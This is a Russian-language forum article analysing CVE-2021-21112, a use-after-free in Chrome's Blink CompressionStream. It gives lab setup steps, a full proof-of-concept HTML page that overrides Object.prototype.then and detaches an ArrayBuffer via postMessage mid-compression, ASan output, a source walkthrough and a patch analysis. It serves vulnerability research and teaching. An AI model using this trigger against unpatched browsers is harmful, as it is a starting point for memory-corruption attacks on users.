• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как работает баг CVE-2021-21112 (use after free) в Chrome в движке Blink

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
В январе 2021 года вышел очередной релиз браузера Chrome. В нем исправили 16 уязвимостей. Одну из них мы с тобой сегодня разберем, чтобы понять механизм возникновения таких багов и способы эксплуатации, с помощью которых злоумышленник может атаковать машину, оставшуюся без обновлений.

Версия Chrome, о которой пойдет речь, — 87.0.4280.141. А интересующая нас запатченная уязвимость — CVE-2021-21112. Она касается компонента потоков компрессии в браузерном движке Blink и работает по принципу use after free. О баге сообщил исследователь YoungJoo Lee (@ashuu_lee) из компании Raon Whitehat в ноябре 2020 года через сайт bugs.chromium.org, номер отчета 1151298.

Blink — это браузерный движок, на основе которого работает Chrome. А потоки сжатия — это те же веб‑потоки (web streams), но для удобства веб‑разработчиков передающиеся со сжатием. Чтобы не приходилось тянуть за проектом зависимости типа zlib, создатели Chrome решили интегрировать форматы сжатия gzip и deflate в движок Blink.

По сути, это удобная обертка, трансформирующий поток с алгоритмом трансформации данных по умолчанию (или gzip, или deflate). Трансформирующий поток — это объект, содержащий два потока: читаемый (readable) и записываемый (writable). А между ними находится трансформер, который применяет заданный алгоритм к проходящим между ними данным.

В статье я буду ссылаться на старые версии спецификации потоков и исходного кода. По понятным причинам исходный код с тех пор изменился. Да и спецификация тоже.


СТЕНД​

Для воспроизведения уязвимости понадобится стенд, состоящий из виртуальной машины и уязвимой версии Chrome. Готовую виртуальную машину можно загрузить с сайта osboxes.org. Сайт предоставляет образы виртуальных машин как для VirtualBox, так и для VMware.

Я буду использовать образ Xubuntu 20 для VirtualBox. Читатель волен выбирать любой дистрибутив. Запускаем машину, обновляемся:
Код:
sudo apt update && sudo apt upgrade -y
Теперь нам нужна уязвимая версия браузера.

image19.png

Уязвимую версию Chrome, скомпилированную с ASan (AddressSanitizer), можно скачать с googleapis.com. В отчете об уязвимости указано название нужной сборки, а именно билд asan-linux-release-812852. Распаковываем архив:
Код:
unzip asan-linux-release-812852.zip
Готовый билд сэкономит кучу времени, так как сборка браузера требует времени, особенно если машина не очень мощная.

AddressSanitizer — это детектор ошибок памяти. Он предоставляет инструментацию во время компиляции кода и библиотеку времени выполнения (runtime). Подробнее о нем можно почитать на сайте Clang.

Теперь у нас готова виртуальная машина и скачан необходимый билд Chrome. Помимо них, нам понадобится Python 3 и LLVM. Обычно лог санитайзера ASan выглядит нечитаемо, поскольку там указаны только адреса и смещения. Разобраться поможет утилита llvm-symbolizer, которая устанавливается вместе с LLVM. Она читает эти адреса и смещения и выводит соответствующие места в исходном коде. Лог ASan будет выглядеть намного понятнее.

Ну а Python поможет нам готовить данные для сжатия.

image3.png

Все установлено, теперь в бой!

ТЕОРИЯ​

Прежде чем разбираться в деталях уязвимости, нам нужно немного понимать предметную область.

Предыстория всего этого такова. В конце 2019 года команда разработчиков Chromium реализовала новый JavaScript API, который называется Compression Streams. Детали реализации приведены в отчете.

Этот API основан на спецификации потоков (спецификация от 30 января 2020 года). Подробно с его концепцией можешь ознакомиться в дизайн‑документе, дополнительные пояснения смотри на GitHub.

Я привожу более старые версии, так как уязвимость касалась именно их реализации. В дальнейшем спецификация потоков и их реализация в Chromium изменилась.

Теперь разберемся в потоках преобразования, потоках сжатия, объектах promise и методе postMessage.

Потоки сжатия​

Потоки сжатия основаны на концепции и реализации веб‑потоков. Отличие в том, что потоки компрессии могут сжимать и распаковывать данные. На выбор — алгоритмы gzip и deflate, широко применяемые в веб‑технологиях. Потоки компрессии удовлетворяют спецификации transform stream.

image23.png


Ниже приведена схема алгоритма.
image10.png

Грубо говоря, если данные не кончились (считан чанк), то вызывается метод Transform, а тот вызовет метод компрессии или декомпрессии — в данном случае Inflate. В этом методе данные обрабатываются в цикле. Затем они помещаются в очередь потока. Для этого вызывается метод Enqueue.

То есть обрабатываем куски данных и кладем их в очередь.

Promise​

JavaScript часто описывают как язык прототипного наследования. Каждый объект имеет объект‑прототип — шаблон методов и свойств. Все объекты имеют общий прототип Object.prototype и свой отдельный.

Поэтому при изменении каких‑то свойств или методов прототипа новые объекты будут обладать измененными свойствами или методами.

Далее нас интересуют асинхронное программирование и «обещания» (promise). Раньше JavaScript исполнялся синхронно, но это мешало веб‑страницам быстро загружаться и плавно работать. Асинхронное программирование позволяет обойти эту проблему. При ожидании какой‑то операции (загрузки данных по сети, чтения с диска и тому подобных) основной поток приложения не блокируется, и оно не подвисает.

Сначала в JavaScript внедрили асинхронные колбэки (вызовы функций по завершении операции). Позднее придумали новый стиль написания асинхронного кода — «обещания». Promise — это объект, представляющий асинхронную операцию, выполненную удачно или неудачно. На картинке это наглядно изображено.
Источник — javascript.ru

Промис — это как бы промежуточное состояние: «Я обещаю вернуться к вам с результатом как можно скорее».

У объекта promise есть метод then. Он принимает два параметра: функции, которые нужно вызвать в случае разрешения (resolve) или в случае отклонения (reject). В зависимости от результата будет вызвана соответствующая.

Особенность JavaScript в том, что в этом языке все является объектом. По сути метод или функция — это тоже объект. И доступ к нему — это вызов объектов get и set объекта — прототипа объекта. Красиво?

Особенность объекта promise в том, что при его разрешении (resolve) необходимо вызвать then. Доступ к этому методу (get) можно изменить на пользовательский код, сменив общий для всех объектов прототип:
Код:
Object.defineProperty(Object.prototype, "then", {
        get() {
            console.log("then getter executed");
        }
});

postMessage​

Как мы можем узнать из MDN Web Docs, этот метод позволяет обмениваться данными между объектами типа Window, например между страницей и фреймом. Интересная особенность заключается в том, как передаются данные.
Код:
postMessage(message, targetOrigin, transfer);
После вызова функции владение transfer передается адресату, а на передающей стороне прекращается.

Если вкратце, суть уязвимости в том, что обработка большого массива данных происходит в цикле и при добавлении обработанных чанков в очередь есть возможность вызвать пользовательский код на JS. Это обеспечено тем, что объекту promise дано разрешение на чтение из потока. Пользовательский код через postMessage может освободить данные, которые на тот момент обрабатывались в цикле.

Для более детального понимания всех концепций можно обратиться к спецификации. Мы же переходим к практике.

ЗАПУСК POC​

Первым делом нужно LLVM, так как с ним поставляется симболизатор. Без него стек вызовов будет выглядеть непонятно, поскольку не будет названий методов и имен файлов.

Скачанный билд распаковываем в виртуалке и запускаем. Смотрим, чтобы версия совпадала со скриншотом.

image21.png

Теперь создадим файл randomfile.py и запустим его:
Python:
python3 randomfile.py
Этим мы создадим данные, которые будет считывать поток сжатия (deflate).
Код:
with open('/dev/urandom', 'rb') as f:
  random = f.read(0x40000)
with open('./random', 'wb') as f:
  f.write(random)
image16.png


Далее создаем файл poc.html и записываем в него следующее:
HTML:
<html>
<title>Secware.ru</title>
<script>
let ab;
async function main() {
await fetch("random").then(x => x.body.getReader().read().then(y => ab = y.value.buffer));
Object.defineProperty(Object.prototype, "then", {
 get() {
   var ab2 = new ArrayBuffer(0);
   try {
     postMessage("", "Secware", [ab]);
   } catch (e) {
     console.log("free");
   }
 }
});
  var input = new Uint8Array(ab);
  console.log(ab.length);
  const cs = new CompressionStream('deflate');
  const writer = cs.writable.getWriter();
  writer.write(input);
  writer.close();
  const output = [];
  const reader = cs.readable.getReader();
  console.log(reader);
  var { value, done } = await reader.read();
}
main();
</script>
<body>
<h2>Welcome to Secware pwn page!</h2>
</body>
</html>
Теперь нужно открыть новый терминал и запустить веб‑сервер из папки с файлами poc.html и random.
Код:
python3 -m http.server

image17.png

Перед запуском Chromium следует установить опции ASan.
Код:
export ASAN_OPTIONS=symbolize=1
Далее запускаем уязвимый билд и указываем ему, куда подключиться. Заодно укажем флаги запуска без песочницы и использования GPU.
Код:
asan-linux-release-812852/chrome --no-sandbox --disable-gpu http://127.0.0.1:8000/poc.html
Вкладка браузера должна упасть.
image6.png


В консоли можно увидеть лог санитайзера адресов ASan.

image5.png


На рисунке ниже приведен стек вызовов до метода Transform на сайте исходного кода Chromium. Но в ветке main (на момент написания статьи 2ff0ac6), так как в старых коммитах не работают референсы и сложно отыскать граф вызовов нужных методов.

image4.png


Схематически граф вызовов выглядит так.

image14.png


Метод Transform вызывает Deflate (в случае сжатия), где и происходит use after free, на строке 117 файла deflate_transformer.cc. По факту доступ к освобожденному массиву происходит в коде zlib, но мы туда не полезем.

image12.png


Также в логе видно, что освобождение памяти происходит из метода postMessage.

image1.png


АНАЛИЗ POC​

Посмотрим код, который триггерит уязвимость. Сначала вызывается функция fetch и подгружается наш файл random. Буфер с данными присваивается переменной ab.
Код:
await fetch("random").then(x => x.body.getReader().read().then(y=>ab=y.value.buffer));
Затем переопределяется аксессор свойства then. Здесь как раз прописан код, который освобождает память через вызов postMessage. Массив ab будет освобожден (параметр transfer).
Код:
Object.defineProperty(Object.prototype, "then", {
  get() {
    var ab2 = new ArrayBuffer(0);
    try {
      postMessage("", "Secware", [ab]);
    } catch (e) {
      console.log("free");
    }
  }
});
В остальной части кода создается поток сжатия, ему передаются данные из нашего файла random и через читателя (reader) создается запрос на чтение (read_request).
Код:
var input = new Uint8Array(ab);
console.log(ab.length);
const cs = new CompressionStream('deflate');
const writer = cs.writable.getWriter();
writer.write(input);
writer.close();
const output = [];
const reader = cs.readable.getReader();
console.log(reader);
var { value, done } = await reader.read();
Как раз этот запрос на чтение и спровоцирует освобождение памяти. Как? Если вкратце, то вызов контроллера enqueue трансформирующего потока приводит к вызову пользовательского кода. Это как раз код, который активирует postMessage и освобождает массив ab.

Упрощенно схема выглядит вот так.

image22.png


АНАЛИЗ ИСХОДНОГО КОДА​

Схематически цепочка вызовов от Deflate до пользовательского кода на JS будет такой, как на схеме ниже.

image7.png

Теперь, зная общую картину, пройдемся по исходному коду. Вот как выглядит метод сжатия Deflate. В цикле do-while данные читаются, сжимаются (deflate), а потом помещаются в очередь потока (controller->enqueue()).

image15.png

Функция cpp controller->enqueue() приведет нас в метод cpp TransformStreamDefaultController::Enqueue. Для краткости я пропустил пару посредников между ними.

image9.png


Здесь вызывается метод с таким же названием, но из класса контроллера readable-потока (ReadableStreamDefaultController).

image8.png

Здесь происходит проверка наличия запросов на чтение. А мы как раз оставили один такой запрос при помощи такого кода:
Код:
javascript var { value, done } = await reader.read();
А раз он есть, будет вызван метод cpp ReadableStream::FulFillReadRequest.

Тот в свою очередь вызовет Resolve для promise, то есть запрос на чтение.
image2.png


По спецификации ECMAScript разрешение promise обязательно должно зайти в свойство then. А поскольку мы поменяли геттер then через Object.prototype, то при доступе к then вызовется наш код. Он освободит массив, который в данный момент обрабатывает цикл метода Deflate.

А значит, код попытается получить доступ к освобожденной памяти.

image12.png

Так и работает уязвимость. Остальное сводится к эксплуатации уязвимостей типа use after free. Но это уже отдельная тема, требующая отдельной объемной статьи.

АНАЛИЗ ПАТЧА​

Теперь посмотрим, как же пофиксили данную уязвимость разработчики Chromium. В описании патча говорится следующее:
Correctly handle detach during (de)compression
Sometimes CompressionStream and DecompressionStream enqueue multiple output chunks for a single input chunk. When this happens, JavaScript code can detach the input ArrayBuffer while the stream is processing it. This will cause an error when zlib tries to read the buffer again afterwards. To prevent this, buffer output chunks until the entire input chunk has been processed, and then enqueue them all at once.
По сути, для компрессии и декомпрессии теперь используется временный массив buffers.

image11.png


Только после этого данные передаются в очередь потока через вызов enqueue. Уже он может вызвать пользовательский код на JS.
image24.png

Следовательно, во время работы цикла компрессии/декомпрессии уже невозможно вызвать пользовательский код. Метод enqueue будет вызван после. То же будет и с кодом атакующего, но данные уже обработаны и доступа к освобожденной памяти не будет.

ВЫВОДЫ​

В заключение хочу сказать, что уязвимость явно была вдохновлена предыдущими подобными багами. Отчеты Сергея Глазунова номер 2001 от 27 января 2020 года и номер 2005 от 30 января 2020 года касались этого же компонента. Уязвимости триггерились похожим методом и были связаны с разрешением promise. В текущей версии спецификации потоков и кода Chromium такая возможность отсутствует.

автор sploitem
Vulnerability researcher в Secware.ru
secware.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх